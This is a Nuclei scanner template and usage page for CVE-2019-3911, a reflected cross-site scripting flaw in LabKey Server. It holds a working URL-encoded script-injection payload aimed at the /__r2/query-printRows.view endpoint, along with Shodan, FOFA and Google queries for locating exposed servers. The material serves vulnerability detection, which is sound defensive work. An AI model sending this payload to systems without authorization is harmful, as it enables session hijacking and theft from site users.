LabKey Server Community Edition <18.3.0 - Cross-Site Scripting

ID: CVE-2019-3911

Severity: medium

Author: princechaddha

Tags: cve,cve2019,xss,labkey,tenable

Description

LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.

YAML Source

id: CVE-2019-3911

info:
  name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting
  author: princechaddha
  severity: medium
  description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
    epss-score: 0.00195
    epss-percentile: 0.56966
    cpe: cpe:2.3:a:labkey:labkey_server:*:*:community:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labkey
    product: labkey_server
    shodan-query:
      - 'Server: Labkey'
      - 'http.title:"sign in: /home"'
      - "server: labkey"
    fofa-query: 'title="sign in: /home"'
    google-query: 'intitle:"sign in: /home"'
  tags: cve,cve2019,xss,labkey,tenable

http:
  - method: GET
    path:
      - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201801e46ee7e5820c03b0611ad4e5f843348a2cc8eb6c6cc3016a9fa9845cda290220230f6a7c07682fd8615ff3f93eae44d3cd7039ee8a43eef834d1d2ab36b10d33:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-3911.yaml"

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